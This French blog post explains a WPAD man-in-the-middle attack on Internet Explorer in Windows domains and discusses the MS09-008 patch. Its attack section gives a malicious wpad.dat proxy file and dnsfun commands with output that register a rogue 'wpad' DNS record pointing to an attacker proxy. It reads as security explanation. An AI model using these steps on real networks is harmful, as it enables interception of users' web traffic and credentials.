Indahax - Pierre Noguès

Twitter Facebook Linkedin email

WPAD MITM Attack

Il y a peu de temps, Microsoft a publié le correctif ms09-008 qui corrige/désactive la faille/fonctionnalité WPAD.

Je vais vous expliquer comment il est possible de réaliser une attaque de type Man In The Middle sur les navigateurs Internet Explorer d'un domaine via l'utilisation de la fonctionnalité WPAD.

  • WPAD et DNS

Dans une configuration par défaut, le serveur DNS d'un domaine fait assez confiance aux machines et aux utilisateurs de la forêt pour les autoriser à ajouter un enregistrement au sein de la zone du domaine. Cela signifie qu'un utilisateur ou une machine du domaine peut associer un nom (inclus dans la hiérarchie domaine) à n'importe quelle ip.

Si le domaine est mondomaine.local, une machine ne peut ajouter l'enregistrement banque.com, par contre elle peut ajouter pc1.mondomaine.local .

Il est également impossible d'écraser un enregistrement qui ne vous appartient pas. Les enregistrements sont des objets, ils sont détenus par des utilisateurs et possèdent des droits d'accès.

Les noms de machine WPAD et ISATAP sont particulièrement intéressants. Il est possible de les utiliser afin de mener des attaques de type Man In The Middle. ISATAP sert de tunnel ipv6 over ipv4. WPAD est la machine qui détient le fichier de configuration automatique du proxy pour les navigateurs MSIE, nous allons nous concentrer sur cette dernière.

Lorsque les navigateurs Internet Explorer du domaine sont configurés de manière à détecter automatiquement les paramètres de connexions, ils vont chercher un serveur nommé WPAD pour y récupérer un fichier de configuration qui va déterminer quel proxy utiliser. S'ils ne trouvent pas ce serveur, ils se connecteront directement à Internet.

Si un attaquant réussit à usurper le nom de ce serveur, il pourra proposer son fichier de configuration et forcer les utilisateurs à utiliser le proxy de son choix.

Note : Il existe un autre moyen pour configurer automatiquement le proxy d'un navigateur via le protocole DHCP. Il s'agit d'une autre fonctionnalité, ici nous nous concentrerons sur l'attaque via l'utilisation d'un enregistrement DNS.

  • Mise en place de l'attaque

Pour réaliser cette attaque, le nom WPAD ne doit pas déjà être enregistré sur le serveur DNS (nous ne disposons pas des droits nécessaires pour l'écraser).

Mettre en place le fichier de configuration automatique du proxy

Le fichier de configuration doit être en place sur le serveur HTTP de la machine WPAD. Il doit être mis à la racine sous le nom de wpad.dat et doit contenir l'adresse ip du proxy de l'attaquant. Voici sa structure :

function FindProxyForUrl(url, host){

	return "PROXY 192.168.10.14:8080";

}
Créer l'enregistrement WPAD

Si l'on possède un compte administrateur local sur une machine du domaine, il faut renommer cette dernière en WPAD. L'association du nom WPAD ip de la machine devrait s'enregistrer automatiquement dans le serveur DNS (via le protocole DHCP). Si ce n'est pas le cas, il faut utiliser la commande : ipconfig /registerdns.

Si l'on possède un compte utilisateur sur le domaine, on peut ajouter l'enregistrement WPAD à partir de n'importe quelle machine du domaine. L'avantage de procéder avec cette méthode est que l'enregistrement pourra pointer vers n'importe quelle ip. Pour cela on utilise dnsfun.

C:Documents and Settingsdev1Bureaudnsfun>dnsfun.exe -q wpad
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Query Information for host wpad...
[-] Record not found

C:Documents and Settingsdev1Bureaudnsfun>dnsfun.exe -c wpad.tp3.local  -u 19
2.168.10.14
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Creating DNS A Record for wpad.tp3.local (192.168.10.14)
[+] Host Created. Rechecking Record...
[+] Host wpad.tp3.local resolved as 192.168.10.14

C:Documents and Settingsdev1Bureaudnsfun>dnsfun.exe -q wpad
 Microsoft Dynamic DNS Updates - Proof of Concept
 http://www.514.es - (c) 2007 Andres Tarasco Acu±a
[+] Gathering Credentials..
[+] Query Information for host wpad...
[+] Host wpad.tp3.local resolved as 192.168.10.14
Le propriétaire de l'enregistrement DNS sera différent en fonction de la méthode utilisée : avec la première méthode, le compte machine WPAD$ sera le propriétaire, avec la deuxième, c'est l'utilisateur qui sera le propriétaire de l'enregistrement.
  • Le patch ms09-008

La publication du patch ms09-008 a fait couler beaucoup d'encre, selon certaines personnes, le patch en question ne corrigerait pas totalement la vulnérabilité. Microsoft dément et considère l'enregistrement automatique du nom WPAD comme une fonctionnalité, non comme une vulnérabilité.

Le patch a pour effet de désactiver la fonctionnalité WPAD si elle n'est pas utilisée.

Lors de l'application du patch, ce dernier va détecter si un enregistrement WPAD (ou ISATAP) est déjà présent dans le serveur DNS. Si aucun enregistrement n'est présent, le patch va créer une clef de registre qui va avoir pour effet d'empêcher la résolution du nom WPAD.

Cela signifie que, si un administrateur (ou un pirate) ajoute un enregistrement WPAD après l'application du patch, il devra également supprimer la clef de registre bloquant la résolution WPAD. Sinon le nom ne sera pas résolu.

Si le nom WPAD est déjà présent dans le serveur DNS lors de l'application du correctif, le patch ne bloque pas la résolution du nom. Cela est dû au fait que le correctif ne peut pas déterminer de lui-même si l'enregistrement en question est légitime ou non.

Il est vrai qu'une fonctionnalité permettant à un utilisateur lambda d'associer le nom WPAD à n'importe quelle adresse ip laisse à désirer, on aurait préféré un patch interdisant l'enregistrement automatique du nom WPAD ou ISATAP.